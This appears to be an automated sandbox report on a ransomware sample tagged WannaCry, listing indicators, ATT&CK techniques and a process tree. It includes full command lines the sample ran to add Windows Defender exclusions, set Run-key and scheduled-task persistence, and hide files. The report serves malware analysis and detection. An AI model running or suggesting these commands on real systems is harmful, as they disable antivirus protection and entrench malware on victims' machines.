wannacry | 5368591e13775ea45d841fc87584b30187f83230f712c99b4726c31b5f218942

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1952	powershell.exe
5080	powershell.exe
3700	powershell.exe
4376	powershell.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000500000002320a-9598.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	safe.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD6618.tmp	drcwqc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD662E.tmp	drcwqc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk	safe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk	safe.exe

Executes dropped EXE 15 IoCs

pid	Process
4368	safe.exe
2884	update.exe
2944	update.exe
3856	update.exe
2036	duwqer.exe
5732	update.exe
988	xhhxik.exe
5860	rwqety.exe
6048	msjrib.exe
5172	drcwqc.exe
1840	!WannaDecryptor!.exe
3476	!WannaDecryptor!.exe
5732	!WannaDecryptor!.exe
4916	!WannaDecryptor!.exe
5796	update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Home = "C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe -jar C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\.tmp\\1740871025753.tmp"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\update = "C:\\ProgramData\\update.exe"	safe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft Update Task Scheduler = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\drcwqc.exe\" /r"	drcwqc.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	java.exe
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	safe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\!WannaCryptor!.bmp"	!WannaDecryptor!.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Crashpad\metadata	setup.exe
File opened for modification	C:\Program Files\Crashpad\settings.dat	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4276	6048	WerFault.exe	215

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xhhxik.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rwqety.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msjrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	drcwqc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	!WannaDecryptor!.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
4988	taskkill.exe
5240	taskkill.exe
3224	taskkill.exe
2368	taskkill.exe
4740	taskkill.exe
5832	taskkill.exe
1584	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133853448580240614"	chrome.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	java.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2278412438-3475196406-3686434223-1000\{F5BCC05C-8BFD-421D-A774-F0F1512A8ADE}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2278412438-3475196406-3686434223-1000\{999162EB-B59F-4504-BF8D-7289A7C34B8C}	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2278412438-3475196406-3686434223-1000\{FCB0DC95-2968-4670-90CE-9E927B7303D3}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4376	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1760	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4376	powershell.exe
4376	powershell.exe
1952	powershell.exe
1952	powershell.exe
5080	powershell.exe
5080	powershell.exe
3700	powershell.exe
3700	powershell.exe
4368	safe.exe
4548	msedge.exe
4548	msedge.exe
840	msedge.exe
840	msedge.exe
1728	identity_helper.exe
1728	identity_helper.exe
4580	chrome.exe
4580	chrome.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe
4368	safe.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
756	OpenWith.exe
4368	safe.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
5172	drcwqc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4368	safe.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeDebugPrivilege	4368	safe.exe
Token: SeDebugPrivilege	2884	update.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeDebugPrivilege	2944	update.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeDebugPrivilege	4988	taskkill.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeShutdownPrivilege	2612	explorer.exe
Token: SeCreatePagefilePrivilege	2612	explorer.exe
Token: SeShutdownPrivilege	2612	explorer.exe
Token: SeCreatePagefilePrivilege	2612	explorer.exe
Token: SeShutdownPrivilege	2612	explorer.exe
Token: SeCreatePagefilePrivilege	2612	explorer.exe
Token: SeShutdownPrivilege	2612	explorer.exe
Token: SeCreatePagefilePrivilege	2612	explorer.exe
Token: SeShutdownPrivilege	4580	chrome.exe
Token: SeCreatePagefilePrivilege	4580	chrome.exe
Token: SeDebugPrivilege	5240	taskkill.exe
Token: SeShutdownPrivilege	5980	explorer.exe
Token: SeCreatePagefilePrivilege	5980	explorer.exe
Token: SeShutdownPrivilege	5980	explorer.exe
Token: SeCreatePagefilePrivilege	5980	explorer.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4368	safe.exe
4368	safe.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
840	msedge.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
2612	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe
5980	explorer.exe

Suspicious use of SetWindowsHookEx 28 IoCs

pid	Process
1076	java.exe
4368	safe.exe
3964	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
756	OpenWith.exe
1840	!WannaDecryptor!.exe
1840	!WannaDecryptor!.exe
3476	!WannaDecryptor!.exe
3476	!WannaDecryptor!.exe
5732	!WannaDecryptor!.exe
5732	!WannaDecryptor!.exe
4916	!WannaDecryptor!.exe
4916	!WannaDecryptor!.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1076 wrote to memory of 4108	1076	java.exe	88
PID 1076 wrote to memory of 4108	1076	java.exe	88
PID 1076 wrote to memory of 4644	1076	java.exe	90
PID 1076 wrote to memory of 4644	1076	java.exe	90
PID 4644 wrote to memory of 2344	4644	cmd.exe	92
PID 4644 wrote to memory of 2344	4644	cmd.exe	92
PID 1076 wrote to memory of 4936	1076	java.exe	108
PID 1076 wrote to memory of 4936	1076	java.exe	108
PID 1076 wrote to memory of 4368	1076	java.exe	119
PID 1076 wrote to memory of 4368	1076	java.exe	119
PID 4368 wrote to memory of 4376	4368	safe.exe	120
PID 4368 wrote to memory of 4376	4368	safe.exe	120
PID 4368 wrote to memory of 1952	4368	safe.exe	122
PID 4368 wrote to memory of 1952	4368	safe.exe	122
PID 4368 wrote to memory of 5080	4368	safe.exe	124
PID 4368 wrote to memory of 5080	4368	safe.exe	124
PID 4368 wrote to memory of 3700	4368	safe.exe	126
PID 4368 wrote to memory of 3700	4368	safe.exe	126
PID 4368 wrote to memory of 1760	4368	safe.exe	128
PID 4368 wrote to memory of 1760	4368	safe.exe	128
PID 4368 wrote to memory of 840	4368	safe.exe	133
PID 4368 wrote to memory of 840	4368	safe.exe	133
PID 840 wrote to memory of 3532	840	msedge.exe	134
PID 840 wrote to memory of 3532	840	msedge.exe	134
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135
PID 840 wrote to memory of 1896	840	msedge.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4108	attrib.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\main.jar
1⤵
- Enumerates connected drives
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Windows\SYSTEM32\attrib.exe
  attrib +H C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1740871025753.tmp
  2⤵
  - Views/modifies file attributes
  PID:4108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1740871025753.tmp" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1740871025753.tmp" /f
    3⤵
    - Adds Run key to start application
    PID:2344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4936
- C:\Users\Admin\downloads\safe.exe
  C:\Users\Admin\downloads\safe.exe
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Sets desktop wallpaper using registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\downloads\safe.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'safe.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\update.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'update.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3700
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "update" /tr "C:\ProgramData\update.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb92c946f8,0x7ffb92c94708,0x7ffb92c94718
      4⤵
      PID:3532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
